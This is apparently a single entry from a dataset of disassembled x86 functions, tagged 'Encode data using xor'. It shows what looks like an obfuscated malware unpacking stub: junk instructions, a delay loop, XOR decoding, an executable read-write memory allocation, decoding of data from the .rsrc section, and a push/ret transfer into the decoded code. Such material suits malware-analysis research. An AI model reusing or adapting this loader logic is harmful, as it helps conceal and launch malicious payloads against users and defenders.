Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8ce0eaa3
add esi, 0x2bc3b379
or edx, esi
or esi, esi
popal
or edx, edx
sub edx, esi
and edx, esi
mov ecx, 0
mov ebx, edi
sub eax, esi
not esi
inc esi
mov edx, ebx
inc eax
sub esi, eax
mov edi, edx
mov eax, esi
mov esi, eax
add ecx, 1
mov esi, 0xfdd8150d
mov esi, 0x2fd60703
cmp ecx, 0x1005fed
jne 0xa789c8
dec esi
or esi, esi
add edx, edx
sub esi, edx
mov eax, 0xa78796
or edx, ebx
sub ebx, edx
not esi
mov edi, 0xa7898a
sub edx, esi
sub esi, 0x6d2cd2c5
mov ecx, dword [eax]
and edx, ebx
or ebx, edx
and ecx, 0xff
not edx
add esi, esi
add edx, esi
xor dword [edi], ecx
add ebx, ebx
dec esi
sub ebx, 0x29f0d4a
inc edi
or edx, esi
mov ebx, edx
inc eax
mov ebx, 0x8ac4f659
mov esi, 0xdc2849ea
mov edx, 0x59ee1983
cmp edi, entry0
jl 0xa78a15
inc ebx
mov edx, ebx
not edx
mov ebx, edx
mov esi, edx
and ecx, edx
add edi, 0xee67878b
mov esi, 0xa7898e
add edx, ecx
or edi, ecx
add edx, 1
mov esi, dword [esi]
add edx, ebx
add ebx, edi
dec ecx
mov esi, dword [esi]
add ecx, ebx
add edx, 1
sub edx, ebx
push esi
and ebx, ecx
and ebx, edi
mov esi, 0xa7898a
add edx, edx
mov edi, 0x7fd03b30
not edi
mov esi, dword [esi]
mov edi, ebx
dec ecx
mov edx, 0xd0ad29eb
mov esi, dword [esi]
or ecx, edx
sub edi, ecx
push 0xa78992
add edx, 0x93ce4464
add ecx, 0x8f80aad4
and edi, edi
call esi
dec ecx
add ebx, 1
mov ebx, edi
pop esi
sub edi, 1
not ecx
push 0xa7899f
sub edi, 0xf78c0533
or ebx, edx
or edi, ebx
sub esp, 4
mov dword [esp], eax
add ebx, 0x1489da83
sub edx, 0xdc1d1398
dec edx
call esi
not ebx
add ecx, 0x5be2508a
sub esp, 4
mov dword [esp], 0x40
add ebx, 1
sub edx, 0x9c40d9f7
or edi, ecx
sub esp, 4
mov dword [esp], 0x3000
not edx
sub edi, ecx
push 0x200007df
add ebx, 0x9a037e7a
mov edi, 0xa3fff9bd
or ecx, edx
push 0
sub ecx, 0xc7537874
mov edi, 0x48a1f5ed
call eax
and edi, ecx
sub ebx, 0xa309c09b
or edx, ecx
add eax, 0x2000071e
add ecx, ecx
sub ecx, 0x8c09e18a
mov esi, 0x9b8ca7ca
inc ecx
sub ebx, edx
mov dword [eax], esi
not edx
mov edx, 0x7781f13d
mov esi, dword [eax]
mov ebx, 0x73397544
or ebx, ecx
cmp esi, 0x9b8ca7ca
je 0xa78b87
mov edx, 0
mov al, byte [edx]
mov ecx, ebx
not ebx
or ebx, edx
and edi, ecx
sub edi, 0x6f9b680f
mov edi, ecx
or esi, esi
mov edx, 0x4cfee2e2
mov ebx, section..rsrc
inc esi
sub esi, 1
add esi, esi
mov ecx, 0xa78795
add esi, 0xfb82af79
not edx
add edx, 1
mov edi, 0
mov esi, 0xa8132298
add esi, edx
mov eax, 0xa78796
not esi
dec edx
sub esi, edx
lea eax, [edi + eax]
inc edx
mov esi, 0xb3e397d9
mov eax, dword [eax]
add edx, 0x9a4e67bd
add esi, edx
and eax, 0xff
mov edx, 0xde2f835
add esi, 0x1000c1ed
inc edi
and esi, edx
add edx, 0x5134ac08
cmp edi, 0x1f4
jne 0xa78c0f
mov edi, 0
add esi, esi
add edx, edx
sub edx, esi
add esi, 0x87ba0bcc
sub edx, 0x7f57937
xor dword [ebx], eax
add edx, 0x55f103a
and edx, esi
add ebx, 2
add esi, 0x1c3a92f7
inc esi
cmp ebx, ecx
jl 0xa78bcb
sub esi, 0x67abd9dc
dec edx
mov esi, 0xc4a1d72a
not esi
add esi, 1
mov esi, section..rsrc
inc eax
inc ebx
mov ebx, eax
mov ecx, section..rsrc
sub ebx, 1
sub eax, ebx
mov edi, 0xa78795
and eax, eax
and ebx, ebx
not eax
mov edx, 0
add eax, 0x464fba31
add ebx, eax
mov dl, byte [ecx]
dec eax
mov ebx, eax
mov byte [esi], dl
add eax, 1
not eax
inc esi
mov ebx, eax
add eax, 0x270fac32
add ecx, 2
inc ebx
add eax, eax
cmp ecx, edi
jle 0xa78c82
sub eax, 0x1d3faa83
sub ebx, eax
dec eax
mov esi, 0xee4cc50d
inc edx
sub esp, 4
mov dword [esp], 0x8dc6a0
add edx, 0x6a6ae28d
add edx, edx
mov esi, edx
ret